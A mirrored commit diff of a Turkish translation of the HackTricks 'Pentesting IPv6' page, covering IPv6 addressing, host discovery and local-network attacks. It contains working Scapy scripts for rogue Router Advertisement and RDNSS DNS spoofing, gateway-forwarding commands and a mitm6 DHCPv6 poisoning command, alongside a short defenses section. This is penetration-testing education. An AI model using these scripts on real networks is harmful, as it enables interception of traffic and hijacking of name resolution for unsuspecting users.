mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
265791ce5d
commit
da8b017304
@ -1,8 +1,10 @@
|
||||
# Pentesting IPv6
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# IPv6 Temel Teori
|
||||
## IPv6 Temel Teorisi
|
||||
|
||||
## Ağlar
|
||||
### Ağlar
|
||||
|
||||
IPv6 adresleri, ağ organizasyonunu ve cihaz etkileşimini geliştirmek için yapılandırılmıştır. Bir IPv6 adresi şu şekilde bölünmüştür:
|
||||
|
||||
@ -13,14 +15,14 @@ IPv6 adresleri, ağ organizasyonunu ve cihaz etkileşimini geliştirmek için ya
|
||||
IPv6, IPv4'te bulunan ARP protokolünü hariç tutarken, iki ana mesajla **ICMPv6**'yı tanıtır:
|
||||
|
||||
- **Komşu İsteği (NS)**: Adres çözümü için çoklu yayın mesajları.
|
||||
- **Komşu İlanı (NA)**: NS'ye veya kendiliğinden ilanlara yanıt olarak tekil yanıtlar.
|
||||
- **Komşu İlanı (NA)**: NS'ye veya kendiliğinden ilanlara tekil yanıtlar.
|
||||
|
||||
IPv6 ayrıca özel adres türlerini de içerir:
|
||||
|
||||
- **Döngü Geri Adresi (`::1`)**: IPv4'teki `127.0.0.1` ile eşdeğer, ana bilgisayar içindeki iletişim için.
|
||||
- **Bağlantı Yerel Adresleri (`FE80::/10`)**: Yerel ağ etkinlikleri için, internet yönlendirmesi için değil. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilirler.
|
||||
- **Bağlantı Yerel Adresleri (`FE80::/10`)**: Yerel ağ etkinlikleri için, internet yönlendirmesi için değil. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilir.
|
||||
|
||||
### IPv6'nın Ağ Komutlarındaki Pratik Kullanımı
|
||||
### Ağ Komutlarında IPv6'nın Pratik Kullanımı
|
||||
|
||||
IPv6 ağlarıyla etkileşimde bulunmak için çeşitli komutlar kullanabilirsiniz:
|
||||
|
||||
@ -36,23 +38,23 @@ ip neigh | grep ^fe80
|
||||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Bilinen bir MAC adresinden Link-local IPv6 adresini türetme ve bir ağ içinde IPv6 adreslerini keşfetme yöntemleri hakkında kısa bir genel bakış.
|
||||
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Bilinen bir MAC adresinden Link-local IPv6 adresini türetmek için basitleştirilmiş bir kılavuz ve bir ağ içinde IPv6 adreslerini keşfetme yöntemleri ile IPv6 adres türlerine kısa bir genel bakış aşağıda verilmiştir.
|
||||
|
||||
## **MAC Adresinden Link-local IPv6 Türetme**
|
||||
### **MAC Adresinden Link-local IPv6 Türetme**
|
||||
|
||||
Bir MAC adresi **`12:34:56:78:9a:bc`** verildiğinde, Link-local IPv6 adresini şu şekilde oluşturabilirsiniz:
|
||||
Verilen bir MAC adresi **`12:34:56:78:9a:bc`** ile Link-local IPv6 adresini şu şekilde oluşturabilirsiniz:
|
||||
|
||||
1. MAC'i IPv6 formatına çevirin: **`1234:5678:9abc`**
|
||||
2. `fe80::` ekleyin ve ortasına `fffe` yerleştirin: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Soldan yedinci biti ters çevirin, `1234`'ü `1034` olarak değiştirin: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
## **IPv6 Adres Türleri**
|
||||
### **IPv6 Adres Türleri**
|
||||
|
||||
- **Unique Local Address (ULA)**: Yerel iletişim için, kamu internet yönlendirmesi için tasarlanmamıştır. Ön ek: **`FEC00::/7`**
|
||||
- **Multicast Address**: Birden bire iletişim için. Multicast grubundaki tüm arayüzlere iletilir. Ön ek: **`FF00::/8`**
|
||||
- **Anycast Address**: Birden en yakın iletişim için. Yönlendirme protokolüne göre en yakın arayüze gönderilir. **`2000::/3`** küresel unicast aralığının bir parçasıdır.
|
||||
|
||||
## **Adres Ön Ekleri**
|
||||
### **Adres Ön Ekleri**
|
||||
|
||||
- **fe80::/10**: Link-Local adresler (169.254.x.x'e benzer)
|
||||
- **fc00::/7**: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x gibi özel IPv4 aralıklarına benzer)
|
||||
@ -60,14 +62,14 @@ Bir MAC adresi **`12:34:56:78:9a:bc`** verildiğinde, Link-local IPv6 adresini
|
||||
- **ff02::1**: Multicast Tüm Düğümler
|
||||
- **ff02::2**: Multicast Yönlendirici Düğümleri
|
||||
|
||||
## **Ağ İçinde IPv6 Adreslerini Keşfetme**
|
||||
### **Ağ İçinde IPv6 Adreslerini Keşfetme**
|
||||
|
||||
### Yol 1: Link-local Adresleri Kullanarak
|
||||
#### Yol 1: Link-local Adresleri Kullanarak
|
||||
|
||||
1. Ağ içindeki bir cihazın MAC adresini edinin.
|
||||
2. MAC adresinden Link-local IPv6 adresini türetin.
|
||||
|
||||
### Yol 2: Multicast Kullanarak
|
||||
#### Yol 2: Multicast Kullanarak
|
||||
|
||||
1. Yerel ağda IPv6 adreslerini keşfetmek için `ff02::1` multicast adresine ping gönderin.
|
||||
```bash
|
||||
@ -75,7 +77,7 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
## IPv6 Man-in-the-Middle (MitM) Saldırıları
|
||||
### IPv6 Man-in-the-Middle (MitM) Saldırıları
|
||||
|
||||
IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik bulunmaktadır, örneğin:
|
||||
|
||||
@ -84,28 +86,194 @@ IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik b
|
||||
- Mobil IPv6'ya saldırmak (genellikle IPSec'in devre dışı bırakılmasını gerektirir).
|
||||
- Sahte bir DHCPv6 sunucusu kurmak.
|
||||
|
||||
# IPv6 Adreslerini Belirleme
|
||||
## IPv6 Adreslerini Belirleme
|
||||
|
||||
## Alt Alan Adlarını Keşfetme
|
||||
### Alt Alan Adlarını Keşfetme
|
||||
|
||||
IPv6 adresleriyle potansiyel olarak bağlantılı alt alan adlarını bulmanın bir yöntemi arama motorlarını kullanmaktır. Örneğin, `ipv6.*` gibi bir sorgu deseni etkili olabilir. Özellikle, Google'da şu arama komutunu kullanabilirsiniz:
|
||||
IPv6 adresleriyle potansiyel olarak bağlantılı alt alan adlarını bulmanın bir yöntemi, arama motorlarından yararlanmaktır. Örneğin, `ipv6.*` gibi bir sorgu deseni kullanmak etkili olabilir. Özellikle, Google'da şu arama komutu kullanılabilir:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## DNS Sorgularını Kullanma
|
||||
### DNS Sorgularını Kullanma
|
||||
|
||||
IPv6 adreslerini belirlemek için belirli DNS kayıt türleri sorgulanabilir:
|
||||
IPv6 adreslerini tanımlamak için belirli DNS kayıt türleri sorgulanabilir:
|
||||
|
||||
- **AXFR**: Tam bir alan transferi talep eder, potansiyel olarak geniş bir DNS kayıt yelpazesini ortaya çıkarır.
|
||||
- **AAAA**: Doğrudan IPv6 adreslerini arar.
|
||||
- **ANY**: Tüm mevcut DNS kayıtlarını döndüren geniş bir sorgu.
|
||||
|
||||
## Ping6 ile Sondaj Yapma
|
||||
### Ping6 ile Sondaj Yapma
|
||||
|
||||
Bir organizasyonla ilişkili IPv6 adresleri belirlendikten sonra, `ping6` aracı sondaj yapmak için kullanılabilir. Bu araç, belirlenen IPv6 adreslerinin yanıt verebilirliğini değerlendirmeye yardımcı olur ve ayrıca komşu IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
|
||||
Bir organizasyona ait IPv6 adresleri belirlendikten sonra, `ping6` aracı sondaj yapmak için kullanılabilir. Bu araç, belirlenen IPv6 adreslerinin yanıt verme yeteneğini değerlendirmeye yardımcı olur ve ayrıca komşu IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
|
||||
|
||||
## IPv6 Yerel Ağ Saldırı Teknikleri
|
||||
|
||||
Aşağıdaki bölümler, **aynı /64 segmenti içinde** global bir ön ek bilmeden gerçekleştirilebilecek pratik katman-2 IPv6 saldırılarını kapsamaktadır. Aşağıda gösterilen tüm paketler **link-local** olup yalnızca yerel anahtardan geçer, bu da onları çoğu ortamda son derece gizli kılar.
|
||||
|
||||
### Stabil Bir Laboratuvar İçin Sistem Ayarlamaları
|
||||
|
||||
IPv6 trafiği ile oynamadan önce, kendi testlerinizle zehirlenmemek ve büyük paket enjeksiyonu/sniffing sırasında en iyi performansı almak için kutunuzu güçlendirmeniz önerilir.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
|
||||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||||
|
||||
# Increase fd / backlog limits when generating lots of traffic
|
||||
sudo sysctl -w fs.file-max=100000
|
||||
sudo sysctl -w net.core.somaxconn=65535
|
||||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Pasif NDP & DHCPv6 Dinleme
|
||||
|
||||
Her IPv6 ana bilgisayar **otomatik olarak birden fazla çoklu yayın grubuna katılır** (`ff02::1`, `ff02::2`, …) ve SLAAC/NDP için ICMPv6 kullanır, bu nedenle tek bir paket göndermeden tüm segmenti haritalayabilirsiniz. Aşağıdaki Python/Scapy tek satırlık kod, en ilginç L2 mesajlarını dinler ve kimlerin kim olduğunu gösteren renkli, zaman damgalı bir günlük yazdırır:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.layers.dhcp6 import *
|
||||
from datetime import datetime
|
||||
from colorama import Fore, Style, init
|
||||
import argparse
|
||||
|
||||
init(autoreset=True)
|
||||
|
||||
# Human-readable names for protocols we care about
|
||||
DHCP6_TYPES = {
|
||||
DHCP6_Solicit: 'Solicit',
|
||||
DHCP6_Advertise: 'Advertise',
|
||||
DHCP6_Request: 'Request',
|
||||
DHCP6_Reply: 'Reply',
|
||||
DHCP6_Renew: 'Renew',
|
||||
DHCP6_Rebind: 'Rebind',
|
||||
DHCP6_RelayForward:'Relay-Forward',
|
||||
DHCP6_RelayReply: 'Relay-Reply'
|
||||
}
|
||||
ICMP6_TYPES = {
|
||||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||||
}
|
||||
|
||||
def handler(pkt):
|
||||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||||
|
||||
# Identify protocol family first
|
||||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||||
if proto in pkt:
|
||||
break
|
||||
else:
|
||||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||||
for dhcp_t,name in DHCP6_TYPES.items():
|
||||
if dhcp_t in pkt:
|
||||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||||
else:
|
||||
return # not a DHCPv6 message we track
|
||||
else:
|
||||
return # not interesting
|
||||
|
||||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||||
print(f" MAC {eth_src} -> {eth_dst}")
|
||||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||||
print('-'*60)
|
||||
|
||||
if __name__ == '__main__':
|
||||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||||
a = argp.parse_args()
|
||||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Sonuç: birkaç saniye içinde tam bir **link-local topoloji** (MAC ⇄ IPv6) elde edilir, aktif taramalara dayanan IPS/IDS sistemlerini tetiklemeksizin.
|
||||
|
||||
### Yönlendirici Reklamı (RA) Sahteciliği
|
||||
|
||||
IPv6 ana bilgisayarları, varsayılan ağ geçidi keşfi için **ICMPv6 Yönlendirici Reklamları**na güvenir. Eğer sahte RA'ları **meşru yönlendiriciden daha sık** enjekte ederseniz, cihazlar sessizce sizi ağ geçidi olarak seçecektir.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||||
args = p.parse_args()
|
||||
|
||||
lifetime = 0 if args.revert else args.lifetime
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Gerçekten **trafik yönlendirmek** için yarışı kazandıktan sonra:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
### RDNSS (DNS) Spoofing via RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106), bir RA içinde **Recursive DNS Server (RDNSS)** seçeneği eklemeye izin verir. Modern işletim sistemleri (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) bunu otomatik olarak güvenilir kabul eder:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import argparse
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
p.add_argument('-i','--interface',required=True)
|
||||
p.add_argument('--llip',required=True)
|
||||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||||
p.add_argument('--lifetime',type=int,default=600)
|
||||
p.add_argument('--interval',type=int,default=5)
|
||||
args = p.parse_args()
|
||||
|
||||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||||
ICMPv6ND_RA(routerlifetime=0)/
|
||||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Müşteriler, belirli bir süre boyunca DNS'inizi çözümleyici listelerine **ekleyecek**, değer süresi dolana kadar veya `lifetime=0` geri dönüşü göndermediğiniz sürece tam DNS kaçırma imkanı tanıyacaktır.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
SLAAC yerine, Windows ağları genellikle DNS için **durumsuz DHCPv6**'ya dayanır. [mitm6](https://github.com/rofl0r/mitm6), `Solicit` mesajlarına **Advertise → Reply** akışı ile otomatik olarak yanıt vererek **300 saniye boyunca DNS için yerel bağlantı adresinizi atar**. Bu, aşağıdakileri açar:
|
||||
|
||||
* NTLM iletim saldırıları (WPAD + DNS kaçırma)
|
||||
* Yönlendiricilere dokunmadan dahili ad çözümlemesini yakalama
|
||||
|
||||
Tipik kullanım:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### Savunmalar
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND İncelemesi** yönetilen anahtarlarda.
|
||||
* Sadece meşru yönlendiricinin MAC adresinin RA göndermesine izin veren Port ACL'leri.
|
||||
* **Düşük kaliteli yüksek oranlı RAs** veya ani **RDNSS değişiklikleri** için izleme.
|
||||
* Uç noktalarda IPv6'yı devre dışı bırakmak, genellikle modern hizmetleri bozup kör noktaları gizleyen geçici bir çözümdür - bunun yerine L2 filtrelemeyi tercih edin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
- [RFC 8106 – IPv6 ND DNS Yapılandırması](https://datatracker.ietf.org/doc/html/rfc8106)
|
||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user